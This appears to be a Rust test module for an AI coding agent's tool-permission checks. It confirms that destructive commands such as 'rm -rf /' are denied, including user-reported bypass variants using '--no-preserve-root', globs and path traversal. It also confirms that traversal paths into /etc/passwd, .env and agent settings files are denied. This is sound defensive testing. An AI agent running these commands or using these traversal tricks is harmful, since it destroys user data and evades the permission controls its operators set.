1910    fn hardcoded_blocks_user_reported_bypass_variants() {
1911        // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
1912        t("rm -rf /etc/../").is_deny();
1913        t("rm -rf /etc/..").is_deny();
1914        // User report: --no-preserve-root (without =value) should not bypass
1915        t("rm -rf --no-preserve-root /").is_deny();
1916        t("rm --no-preserve-root -rf /").is_deny();
1917        // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
1918        t("rm -rf /*").is_deny();
1919        // Chained with sudo
1920        t("sudo rm -rf /").is_deny();
1921        t("sudo rm -rf --no-preserve-root /").is_deny();
1922        // Traversal cannot be bypassed even with global allow or allow patterns
1923        t("rm -rf /etc/../")
1924            .global_default(ToolPermissionMode::Allow)
1925            .is_deny();
1926        t("rm -rf /etc/../").allow(&[".*"]).is_deny();
1927        t("rm -rf --no-preserve-root /")
1928            .global_default(ToolPermissionMode::Allow)
1929            .is_deny();
1930        t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
1931    }
1932
1933    #[test]
1934    fn normalize_path_relative_no_change() {
1935        assert_eq!(normalize_path("foo/bar"), "foo/bar");
1936    }
1937
1938    #[test]
1939    fn normalize_path_relative_with_curdir() {
1940        assert_eq!(normalize_path("foo/./bar"), "foo/bar");
1941    }
1942
1943    #[test]
1944    fn normalize_path_relative_with_parent() {
1945        assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
1946    }
1947
1948    #[test]
1949    fn normalize_path_absolute_preserved() {
1950        assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
1951    }
1952
1953    #[test]
1954    fn normalize_path_absolute_with_traversal() {
1955        assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
1956    }
1957
1958    #[test]
1959    fn normalize_path_root() {
1960        assert_eq!(normalize_path("/"), "/");
1961    }
1962
1963    #[test]
1964    fn normalize_path_parent_beyond_root_clamped() {
1965        assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
1966    }
1967
1968    #[test]
1969    fn normalize_path_curdir_only() {
1970        assert_eq!(normalize_path("."), "");
1971    }
1972
1973    #[test]
1974    fn normalize_path_empty() {
1975        assert_eq!(normalize_path(""), "");
1976    }
1977
1978    #[test]
1979    fn normalize_path_relative_traversal_above_start() {
1980        assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
1981    }
1982
1983    #[test]
1984    fn normalize_path_relative_traversal_with_curdir() {
1985        assert_eq!(normalize_path("../../."), "../..");
1986    }
1987
1988    #[test]
1989    fn normalize_path_relative_partial_traversal_above_start() {
1990        assert_eq!(normalize_path("foo/../../bar"), "../bar");
1991    }
1992
1993    #[test]
1994    fn most_restrictive_deny_vs_allow() {
1995        assert!(matches!(
1996            most_restrictive(
1997                ToolPermissionDecision::Deny("x".into()),
1998                ToolPermissionDecision::Allow
1999            ),
2000            ToolPermissionDecision::Deny(_)
2001        ));
2002    }
2003
2004    #[test]
2005    fn most_restrictive_allow_vs_deny() {
2006        assert!(matches!(
2007            most_restrictive(
2008                ToolPermissionDecision::Allow,
2009                ToolPermissionDecision::Deny("x".into())
2010            ),
2011            ToolPermissionDecision::Deny(_)
2012        ));
2013    }
2014
2015    #[test]
2016    fn most_restrictive_deny_vs_confirm() {
2017        assert!(matches!(
2018            most_restrictive(
2019                ToolPermissionDecision::Deny("x".into()),
2020                ToolPermissionDecision::Confirm
2021            ),
2022            ToolPermissionDecision::Deny(_)
2023        ));
2024    }
2025
2026    #[test]
2027    fn most_restrictive_confirm_vs_deny() {
2028        assert!(matches!(
2029            most_restrictive(
2030                ToolPermissionDecision::Confirm,
2031                ToolPermissionDecision::Deny("x".into())
2032            ),
2033            ToolPermissionDecision::Deny(_)
2034        ));
2035    }
2036
2037    #[test]
2038    fn most_restrictive_deny_vs_deny() {
2039        assert!(matches!(
2040            most_restrictive(
2041                ToolPermissionDecision::Deny("a".into()),
2042                ToolPermissionDecision::Deny("b".into())
2043            ),
2044            ToolPermissionDecision::Deny(_)
2045        ));
2046    }
2047
2048    #[test]
2049    fn most_restrictive_confirm_vs_allow() {
2050        assert_eq!(
2051            most_restrictive(
2052                ToolPermissionDecision::Confirm,
2053                ToolPermissionDecision::Allow
2054            ),
2055            ToolPermissionDecision::Confirm
2056        );
2057    }
2058
2059    #[test]
2060    fn most_restrictive_allow_vs_confirm() {
2061        assert_eq!(
2062            most_restrictive(
2063                ToolPermissionDecision::Allow,
2064                ToolPermissionDecision::Confirm
2065            ),
2066            ToolPermissionDecision::Confirm
2067        );
2068    }
2069
2070    #[test]
2071    fn most_restrictive_allow_vs_allow() {
2072        assert_eq!(
2073            most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
2074            ToolPermissionDecision::Allow
2075        );
2076    }
2077
2078    #[test]
2079    fn decide_permission_for_path_no_dots_early_return() {
2080        // When the path has no `.` or `..`, normalize_path returns the same string,
2081        // so decide_permission_for_path returns the raw decision directly.
2082        let settings = test_agent_settings(ToolPermissions {
2083            default: ToolPermissionMode::Confirm,
2084            tools: Default::default(),
2085        });
2086        let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
2087        assert_eq!(decision, ToolPermissionDecision::Confirm);
2088    }
2089
2090    #[test]
2091    fn decide_permission_for_path_traversal_triggers_deny() {
2092        let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
2093        let mut tools = collections::HashMap::default();
2094        tools.insert(
2095            Arc::from(EditFileTool::NAME),
2096            ToolRules {
2097                default: Some(ToolPermissionMode::Allow),
2098                always_allow: vec![],
2099                always_deny: vec![deny_regex],
2100                always_confirm: vec![],
2101                invalid_patterns: vec![],
2102            },
2103        );
2104        let settings = test_agent_settings(ToolPermissions {
2105            default: ToolPermissionMode::Confirm,
2106            tools,
2107        });
2108
2109        let decision =
2110            decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
2111        assert!(
2112            matches!(decision, ToolPermissionDecision::Deny(_)),
2113            "expected Deny for traversal to /etc/passwd, got {:?}",
2114            decision
2115        );
2116    }
2117
2118    #[test]
2119    fn normalize_path_collapses_dot_segments() {
2120        assert_eq!(
2121            normalize_path("src/../.zed/settings.json"),
2122            ".zed/settings.json"
2123        );
2124        assert_eq!(normalize_path("a/b/../c"), "a/c");
2125        assert_eq!(normalize_path("a/./b/c"), "a/b/c");
2126        assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
2127        assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
2128        assert_eq!(normalize_path("a/b/c"), "a/b/c");
2129    }
2130
2131    #[test]
2132    fn normalize_path_handles_multiple_parent_dirs() {
2133        assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
2134        assert_eq!(normalize_path("a/b/c/../../../d"), "d");
2135    }
2136
2137    fn path_perm(
2138        tool: &str,
2139        input: &str,
2140        deny: &[&str],
2141        allow: &[&str],
2142        confirm: &[&str],
2143    ) -> ToolPermissionDecision {
2144        let mut tools = collections::HashMap::default();
2145        tools.insert(
2146            Arc::from(tool),
2147            ToolRules {
2148                default: None,
2149                always_allow: allow
2150                    .iter()
2151                    .map(|p| {
2152                        CompiledRegex::new(p, false)
2153                            .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2154                    })
2155                    .collect(),
2156                always_deny: deny
2157                    .iter()
2158                    .map(|p| {
2159                        CompiledRegex::new(p, false)
2160                            .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2161                    })
2162                    .collect(),
2163                always_confirm: confirm
2164                    .iter()
2165                    .map(|p| {
2166                        CompiledRegex::new(p, false)
2167                            .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2168                    })
2169                    .collect(),
2170                invalid_patterns: vec![],
2171            },
2172        );
2173        let permissions = ToolPermissions {
2174            default: ToolPermissionMode::Confirm,
2175            tools,
2176        };
2177        let raw_decision = ToolPermissionDecision::from_input(
2178            tool,
2179            &[input.to_string()],
2180            &permissions,
2181            ShellKind::Posix,
2182        );
2183
2184        let simplified = normalize_path(input);
2185        if simplified == input {
2186            return raw_decision;
2187        }
2188
2189        let simplified_decision =
2190            ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
2191
2192        most_restrictive(raw_decision, simplified_decision)
2193    }
2194
2195    #[test]
2196    fn decide_permission_for_path_denies_traversal_to_denied_dir() {
2197        let decision = path_perm(
2198            "copy_path",
2199            "src/../.zed/settings.json",
2200            &["^\\.zed/"],
2201            &[],
2202            &[],
2203        );
2204        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2205    }
2206
2207    #[test]
2208    fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
2209        let decision = path_perm(
2210            "copy_path",
2211            "src/../.zed/settings.json",
2212            &[],
2213            &[],
2214            &["^\\.zed/"],
2215        );
2216        assert!(matches!(decision, ToolPermissionDecision::Confirm));
2217    }
2218
2219    #[test]
2220    fn decide_permission_for_path_allows_when_no_traversal_issue() {
2221        let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
2222        assert!(matches!(decision, ToolPermissionDecision::Allow));
2223    }
2224
2225    #[test]
2226    fn decide_permission_for_path_most_restrictive_wins() {
2227        let decision = path_perm(
2228            "copy_path",
2229            "allowed/../.zed/settings.json",
2230            &["^\\.zed/"],
2231            &["^allowed/"],
2232            &[],
2233        );
2234        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2235    }
2236
2237    #[test]
2238    fn decide_permission_for_path_dot_segment_only() {
2239        let decision = path_perm(
2240            "delete_path",
2241            "./.zed/settings.json",
2242            &["^\\.zed/"],
2243            &[],
2244            &[],
2245        );
2246        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2247    }
2248
2249    #[test]
2250    fn decide_permission_for_path_no_change_when_already_simple() {
2251        // When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
2252        let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
2253        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2254    }
2255
2256    #[test]
2257    fn decide_permission_for_path_raw_deny_still_works() {
2258        // Even without traversal, if the raw path itself matches deny, it's denied
2259        let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
2260        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2261    }
2262
2263    #[test]
2264    fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
2265        let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
2266        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2267    }
2268}